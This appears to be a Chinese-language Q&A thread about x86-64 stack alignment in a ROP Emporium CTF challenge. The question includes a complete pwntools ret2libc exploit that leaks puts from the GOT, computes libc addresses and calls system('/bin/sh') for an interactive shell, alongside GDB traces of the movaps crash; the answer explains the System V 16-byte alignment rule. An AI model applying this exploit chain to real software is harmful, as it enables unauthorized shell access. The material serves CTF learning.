x64 中的堆栈对齐不是 16 字节?

tal*_*sim 1 python assembly stack x86-64 ctf

我尝试了这段代码:

\n
#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.GDB:\n        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio = start()\nio.sendafter(b'> ', rop.chain())\n\n# grab our leak\nio.recvuntil(b'!\\n')\nleak = u64(io.recvline().strip().ljust(8, b'\\x00'))\nprint(f"[*] Got a leak: {hex(leak)}")\n\nlibc_base = leak - libc.sym['puts']\nprint(f'[**] libc_base = {hex(libc_base)}')\nsystem = libc_base + libc.sym['system']\nbin_sh = libc_base + next(libc.search(b'/bin/sh\\x00'))\nprint(f'[**] system addr = {hex(system)};   bin_sh = {hex(bin_sh)}')\n\npayload = [\n    offset,\n    ret,  # align the stack pointer \n    pop_rdi,\n    p64(bin_sh),\n    p64(system)\n]\n\nio.sendafter(b'> ', b''.join(payload))\n\nio.interactive()\n
Run Code Online (Sandbox Code Playgroud)\n

当我运行代码并附加到 时GDB,有效负载具有对齐方式(附加ret指令):

\n
payload = [\n    offset,\n    ret,   # align the stack pointer \n    pop_rdi,\n    p64(bin_sh),\n    p64(system)\n]\n
Run Code Online (Sandbox Code Playgroud)\n

我看到输入时RSP 不是 16 字节对齐system( RSP= 0x7fff699d1c18)

\n
*RSP  0x7fff699d1c18 \xe2\x80\x94\xe2\x96\xb8 0x7fff699d1d08 \xe2\x80\x94\xe2\x96\xb8 0x7fff699d3276 \xe2\x97\x82\xe2\x80\x94 '/mnt/c/Users/tal/Workspace/CTFs/ROPEmporium/callme/callme'\n*RIP  0x7f768b627d70 (system) \xe2\x97\x82\xe2\x80\x94 endbr64\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ DISASM / x86-64 / set emulate on ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n   0x4008f1       <pwnme+89>               ret\n    \xe2\x86\x93\n   0x4006be       <_init+22>               ret\n    \xe2\x86\x93\n   0x4009a3       <__libc_csu_init+99>     pop    rdi\n   0x4009a4       <__libc_csu_init+100>    ret\n    \xe2\x86\x93\n \xe2\x96\xba 0x7f768b627d70 <system>                 endbr64\n   0x7f768b627d74 <system+4>               test   rdi, rdi\n   0x7f768b627d77 <system+7>               je     7f768b627d80h                 <system+16>\n\n   0x7f768b627d79 <system+9>               jmp    7f768b627900h                 <do_system>\n    \xe2\x86\x93\n   0x7f768b627900 <do_system>              push   r15\n   0x7f768b627902 <do_system+2>            mov    edx, 1\n   0x7f768b627907 <do_system+7>            push   r14\n
Run Code Online (Sandbox Code Playgroud)\n

令我惊讶的是,这段代码按预期工作。

\n

另一方面,如果我运行代码并附加到GDB,有效负载没有对齐(没有额外的ret):

\n
payload = [\n    offset,\n    pop_rdi,\n    p64(bin_sh),\n    p64(system)\n]\n
Run Code Online (Sandbox Code Playgroud)\n

输入时我看到它RSP 是 16 字节对齐的system( RSP= 0x7ffddaf2e9a0)

\n
*RSP  0x7ffddaf2e9a0 \xe2\x97\x82\xe2\x80\x94 0x100000000\n*RIP  0x7f9dc7c27d70 (system) \xe2\x97\x82\xe2\x80\x94 endbr64\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ DISASM / x86-64 / set emulate on ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n   0x4008f1       <pwnme+89>               ret\n    \xe2\x86\x93\n   0x4009a3       <__libc_csu_init+99>     pop    rdi\n   0x4009a4       <__libc_csu_init+100>    ret\n    \xe2\x86\x93\n \xe2\x96\xba 0x7f9dc7c27d70 <system>                 endbr64\n   0x7f9dc7c27d74 <system+4>               test   rdi, rdi\n   0x7f9dc7c27d77 <system+7>               je     7f9dc7c27d80h                 <system+16>\n\n   0x7f9dc7c27d79 <system+9>               jmp    7f9dc7c27900h                 <do_system>\n    \xe2\x86\x93\n   0x7f9dc7c27900 <do_system>              push   r15\n   0x7f9dc7c27902 <do_system+2>            mov    edx, 1\n   0x7f9dc7c27907 <do_system+7>            push   r14\n   0x7f9dc7c27909 <do_system+9>            lea    r14, [rip + 1cbf30h]\n
Run Code Online (Sandbox Code Playgroud)\n

这段代码不起作用,它稍后会崩溃do_system(见下文)。

\n
Program received signal SIGSEGV, Segmentation fault.\n0x00007f9dc7c27973 in __sigemptyset (set=<optimized out>) at ../sysdeps/unix/sysv/linux/sigsetops.h:54\n54      in ../sysdeps/unix/sysv/linux/sigsetops.h\n\nRSP  0x7ffddaf2e5e8 \xe2\x97\x82\xe2\x80\x94 0x0\nRIP  0x7f9dc7c27973 (do_system+115) \xe2\x97\x82\xe2\x80\x94 movaps xmmword ptr [rsp], xmm1\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ DISASM / x86-64 / set emulate on ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n   0x7f9dc7c27946 <do_system+70>     xor    eax, eax\n   0x7f9dc7c27948 <do_system+72>     mov    dword ptr [rsp + 18h], 0ffffffffh\n   0x7f9dc7c27950 <do_system+80>     mov    qword ptr [rsp + 180h], 1\n   0x7f9dc7c2795c <do_system+92>     mov    dword ptr [rsp + 208h], 0\n   0x7f9dc7c27967 <do_system+103>    mov    qword ptr [rsp + 188h], 0\n \xe2\x96\xba 0x7f9dc7c27973 <do_system+115>    movaps xmmword ptr [rsp], xmm1\n   0x7f9dc7c27977 <do_system+119>    lock cmpxchg dword ptr [rip + 1cbe01h], edx\n   0x7f9dc7c2797f <do_system+127>    jne    7f9dc7c27c30h                 <do_system+816>\n\n   0x7f9dc7c27985 <do_system+133>    mov    eax, dword ptr [rip + 1cbdf9h]\n   0x7f9dc7c2798b <do_system+139>    lea    edx, [rax + 1]\n   0x7f9dc7c2798e <do_system+142>    mov    dword ptr [rip + 1cbdf0h], edx\n
Run Code Online (Sandbox Code Playgroud)\n

当出现段错误时,我确实看到它RSP等于 0x7ffddaf2e5e8。

\n

这是否意味着RSP 调用函数时不一定与 16 字节对齐?

\n

小智 7

这不仅仅是“不需要对齐”——实际上堆栈必须在函数的开头和结尾处对齐——而且必须正好错位8 个字节。

16 字节并不是 x64 的自然对齐方式 - 大多数堆栈操作以 8 字节增量工作,因此它们自然地保持 8 字节对齐。然而,许多 SSE 指令需要 16 字节对齐 - 因此决定在调用约定中包含 16 字节对齐。

由于 16 字节不是自然对齐方式,因此执行压入和弹出操作不会保持该对齐方式。相反,它将在两种状态之间交替:完全对齐(RSP=16n)和半对齐(RSP=16n+8)。

System V 调用约定规定:堆栈call. 但是会推送 8 个字节 - 所以在以下之后call它总是半对齐的:call

输入参数区域的末尾应在 16(32,如果 __m256 在堆栈上传递)字节边界上对齐。换句话说,当控制权转移到函数入口点时,值 (%rsp + 8)始终是 16 (32) 的倍数。

类似地,ret弹出堆栈 - 因此堆栈必须在返回之前半对齐,以在返回后完全对齐。